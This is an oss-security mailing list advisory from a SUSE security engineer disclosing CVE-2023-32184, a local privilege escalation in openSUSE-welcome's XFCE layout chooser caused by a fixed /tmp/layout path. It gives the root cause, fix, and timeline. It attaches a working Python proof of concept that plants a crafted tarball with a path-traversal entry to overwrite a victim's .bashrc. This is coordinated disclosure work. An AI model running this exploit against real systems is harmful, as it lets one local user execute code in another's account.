[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] openSUSE-welcome: local privilege escalation when choosing XFCE desktop layout (CVE-2
From:       Matthias Gerstner <mgerstner () suse ! de>
Date:       2023-08-22 10:49:03
Message-ID: ZOSSoKtF9YjXNKeP () kasco ! suse ! de
[Download RAW message or body]

[Attachment #2 (multipart/mixed)]


Hello list,

this report is about a local privilege escalation in the openSUSE-welcome [1]
dialog. Please find the full report below.

Introduction
============

openSUSE-welcome is a small Qt program that is autostarted the
first time a user performs a graphical login. It presents various
documentation and communication resources for the openSUSE distribution.

A peculiarity of the program is that when it is running in an XFCE desktop
environment (`$XDG_CURRENT_DESKTOP` environment variable set to `xfce`), then
also a "customise" button is shown which allows to select between different
XFCE desktop layout presets.

There exists a local privilege escalation issue in this component of
openSUSE-welcome that might allow other local users to execute code in the
context of the user that selects a different XFCE desktop layout using the
openSUSE-welcome dialog.

The Vulnerability
=================

openSUSE-welcome contains only little C++ source code but relies on a couple
of advanced Qt features like QML descriptions that are used to model the
dialog. Due to this, understanding the setup of the XFCE specific customise
button is not straightforward. To understand the vulnerability, though, it is
sufficient to look at the relevant logic that is executed upon button press in
the `PanelLayouter` C++ class.

In `PanelLayouter::applyLayout()` [3] the fixed path "/tmp/layout" is used to
store a tarball containing XFCE configuration files:

    void PanelLayouter::applyLayout(const QString &path)
    {
        if (QFile::exists("/tmp/layout"))
            QFile::remove("/tmp/layout");
    
        QFile layout(path);
        layout.copy("/tmp/layout");
    
        QProcess::startDetached("/usr/bin/python3", {"-c", m_script});
    }

The `path` passed to this function is not an actual file system path, but
refers to a "Qt Resource" file embedded into the openSUSE-welcome application,
that is transparently dealt with by the Qt framework libraries. This explains
the use of a temporary file in this function, to make the data actually
visible for other processes. The tarballs used for this found in the
openSUSE-welcome repository [2].

A Python script embedded into the `PanelLayouter` class (`m_script` member [4])
is used to pass the appropriate tarball to the XFCE4 Python module found
in "/usr/share/xfce4-panel-profiles/xfce4-panel-profiles/panelconfig.py". This
module offers an API to send a desktop layout configuration tarball to the
running XFCE desktop via the D-Bus session bus and process it.

The use of the fixed path "/tmp/layout" is problematic security wise in
multiple ways. The system call sequence from the code above looks like this:

    access("/tmp/layout", F_OK)             = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/tmp", O_RDWR|O_CLOEXEC|O_TMPFILE, 0600) = 55
    linkat(AT_FDCWD, "/proc/self/fd/55", AT_FDCWD, "/tmp/layout", AT_SYMLINK_FOLLOW) = 0
    chmod("/tmp/layout", 0444)              = 0

This of course offers attack surface involving symlink attacks. If the
Linux kernel's symlink protection is off, other users can place symlinks here
to confuse the existence check or to overwrite arbitrary locations (the
`linkat()` call explicitly specifies `AT_SYMLINK_FOLLOW`). By default on
openSUSE we do have symlink protection, however, so this will be thwarted.

What happens if "/tmp/layout" already exists as a regular file, though? The
code above does not perform any error checks. This means a failing
`QFile::remove()` or `QFile.copy()` is not acted upon and the program logic
continues. The result of this will be, if "/tmp/layout" is already existing
and readable, that attacker controlled data is used in the embedded Python
script.

Impact / Exploiting the Issue
=============================

When looking at the logic found in the "panelconfig.py" Python module
one can see that the tarball that is expected as input is supposed to contain
configuration files according to certain name patterns. Among other the script
copies any `*.rc` files found in the tarball into the user's home directory.
The module does have quite some verification logic, but it is contains enough
loopholes to allow to construct a crafted tarball that causes an arbitrary
file in the user's home directory to be overwritten by attacker controlled
data.

The attached `hack_welcome.py` script is a PoC I wrote that demonstrates this,
by replacing the victim user's ".bashrc" file. The impact is arbitrary code
execution in the context of the victim user that runs XFCE, clicks customize
in openSUSE-welcome dialog and chooses one of the layouts. Refer to the PoC
inline documentation for more details.

The only limitation is that the name of the victim's user account needs to be
known in advance. I suspect there are further attack vectors to make this even
simpler. I did not look into the XFCE logic that processes the configuration
received via the session D-Bus. It may be possible to achieve code execution
through a crafted valid XFCE configuration as well, e.g. via harmful
`.desktop` files.

Affectedness
============

All currently maintained versions of openSUSE have been affected by this
issue, but received updates in the meantime. Historically, openSUSE releases
dating back to at least openSUSE Leap 15.2 are affected.

Bugfix
======

Via commit 3c344ad7 [5] the `PanelLayouter` class is changed so that the
input tarball which is actually a Qt resource file is written to a safely
created `QTemporaryFile` instead. Also the embedded Python script is turned
into a dedicated script that is placed on the file system instead.

Updates for the openSUSE-welcome package that contain this bugfix are
available for openSUSE Tumbleweed and openSUSE Leap 15.4 / 15.5.

CVE Assignment
==============

openSUSE-welcome is SUSE owned code, so we assigned CVE-2023-32184 for this
issue.

Timeline
========

2023-07-14: I noticed the use of a fixed temporary path in opensuse-welcome
            and decided to investigate it further.
2023-07-26: I started looking into the security impact and exploit
            possibilities which resulted in the PoC attached to this report.
2023-07-27: I started a security fix process [6] for the openSUSE-welcome package.
2023-07-28: The CVE was assigned for the issue.
2023-08-01: As there was no dedicated maintainer for openSUSE-welcome
            available I developed a fix for this issue myself [7].
2023-08-11: After some delays and peer reviews the fix was merged into the
            github repository.
2023-08-18: Updates with the bugfix for all maintained openSUSE distributions
            have become available by now.
2023-08-22: Publication of all vulnerability details.

References
==========

[1]: https://github.com/openSUSE/openSUSE-welcome
[2]: https://github.com/openSUSE/openSUSE-welcome/tree/v0.1.9/data/qrc/layouts
[3]: https://github.com/openSUSE/openSUSE-welcome/blob/v0.1.9/src/panellayouter.cpp#L38
[4]: https://github.com/openSUSE/openSUSE-welcome/blob/v0.1.9/src/panellayouter.cpp#L7
[5]: https://github.com/openSUSE/openSUSE-welcome/commit/3c344ad7f71d9b67fa8299bfeb3641f5f5d9e6d7
[6]: https://bugzilla.suse.com/show_bug.cgi?id=1213708
[7]: https://github.com/openSUSE/openSUSE-welcome/pull/32

-- 
Matthias Gerstner <matthias.gerstner@suse.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553
 
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev, Andrew McDonald, Werner Knoblich

["hack_welcome.py" (text/plain)]

#!/usr/bin/python3
from io import BytesIO
import argparse
import os
import sys
import tarfile

# Matthias Gerstner <matthias.gerstner@suse.com>
# 2023-07-27
#
# Proof of concept (PoC) that shows a vulnerability in the openSUSE-welcome dialog.
#
# When running on XFCE the welcome dialog will offer a "customise" button
# to change the desktop layout for XFCE.
#
# The change logic behind this uses a fixed /tmp file path in /tmp/layout.
# If the file already exists and is readable then the dialog will reuse it,
# even if controlled by a different user.
#
# The file content needs to be tarball that contains files of a certain
# structure. The XFCE script /usr/share/xfce4-panel-profiles/xfce4-panel-profiles/panelconfig.py
# will process this tarball via PanelConfig.from_file() and the welcome dialog
# then causes PanelConfig.to_xfconf() to be called. See "panellayouter.cpp" in
# openSUSE-welcome.
#
# What this PoC attempts to achieve is that a file from the tarball is copied to
# an arbitrary location in the victim user's context. This is possible when
# overcoming some hurdles that are checked in the panelconfig.py script.
#
# To use this reproducer perform the following steps:
#
# - create (or have available) a user account acting as the victim that logs
#   into XFCE4. Suppose this account is named 'victim'.
# - login to an attacker account e.g. as nobody, and run this exploit script,
#   passing the victim's account name.
#       root # sudo -u nobody -g nobody /bin/bash
#       nobody $ /path/to/hack_welcome.py victim
#   this will precreate a crafted /tmp/layout tarball file for use by
#   openSUSE-welcome.
# - now as the victim user, in an XFCE4 graphical session, run openSUSE-welcome,
#   click customise, and then any of the offered desktop layouts.
# - on success, when opening a terminal as the victim user, the overwritten
#   .bashrc file should trigger and you should see the line "you have been
#   hacked" printed.

parser = argparse.ArgumentParser()
parser.add_argument("account", help="name of the user account to hack")

args = parser.parse_args()

if not os.path.isdir(f"/home/{args.account}"):
    print(args.account, "has no home?", file=sys.stderr)
    sys.exit(1)

try:
    # We want to achieve that the panelconfig.py script thinks it is copying a
    # *.rc file from the tarball into the XFCE configuration of the home
    # directory.
    #
    # In find_rc_files() there is a check for `if filename.find('.rc) > -1`
    #
    # We will make this check succeed by constructing a path that goes through
    # '/tmp/.rc'.
    #
    # We could overcome this limitation by overwriting an actual *.rc file in
    # the user's home directory to execute code. There might exist some such
    # file that is suitable, but for the purposes of this PoC we go this route
    # and try to overwrite arbitrarily named files.
    os.mkdir("/tmp/.rc")
except FileExistsError:
    pass

# pre-create a crafted layout tarball
# if this file already exists from another user then the exploit is not possible
t = tarfile.open("/tmp/layout", 'w')

# construct a config.txt file which will control further code paths in
# panelconfig.py
#
# we need to make panelconfig.py create the XFCE configuration directory in
# the user's home, otherwise our crafted path below will fail because of
# missing directory elements.
#
# the necessary `mkdir` is found in panelconfig.py to_xfconf(). It is only
# triggered if a valid desktop configuration is found though. So offer that.
sio = BytesIO()
sio.write(b"/panels/panel-0/plugin-ids [<0>]\n")
sio.write(b"/plugins/plugin-0 'launcher'\n")
sio.write(b"/plugins/plugin-0/items ['stuff.desktop']\n")
info = tarfile.TarInfo(name="config.txt")
info.size = len(sio.getvalue())
sio.seek(0)
t.addfile(tarinfo=info, fileobj=sio)

# For the desktop configuration to pass validation we need to actually ship
# a *.desktop file in the tarball that also points to a valid executable.
#
# This aspect actually might be used as an exploit vector on its own, but
# I didn't want to dive too deep into the XFCE plugin architecture for this.
#
# This /tmp/hack.py will not actually be executed via this exploit, but might
# very well be in reach to be executed if done properly for XFCE to run it.
exec_path = "/tmp/hack.py"
with open(exec_path, 'w') as f:
    f.write("/usr/bin/python3\nprint('you have been hacked\n')")
sio = BytesIO()
sio.write(b"[Desktop Entry]\n")
sio.write(f"Exec = {exec_path}\n".encode())
sio.seek(0)
info = tarfile.TarInfo(name="launcher-0/stuff.desktop")
info.size = len(sio.getvalue())
t.addfile(tarinfo=info, fileobj=sio)

# This is the actual exploit file we intend to create
# This shall be written to the victim user's ~/.bashrc
#
# The following crafted path is important. The panelconfig.py script wants to
# write the "*.rc" file to $HOME/.config/xfce4/panel.
#
# Considering a default home directory in /home, we need to go up five path
# elements to reach the root of the file system. then we go through /tmp/.rc
# to fulfill the "is a .rc file check". Then we need to enter the user's home
# again.
#
# This is the only limitation of this exploit, that we need to know the user's
# account name to re-enter its home directory. Otherwise the exploit would be
# generic and would hit any user pressing the customize button.
hack = f"echo '{args.account} you have been hacked'\n"
sio = BytesIO()
sio.write(hack.encode())
sio.seek(0)
info = tarfile.TarInfo(name=f"../../../../../tmp/.rc/../../home/{args.account}/.bashrc")
info.size = len(hack)
t.addfile(tarinfo=info, fileobj=sio)

t.close()

["signature.asc" (application/pgp-signature)]

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic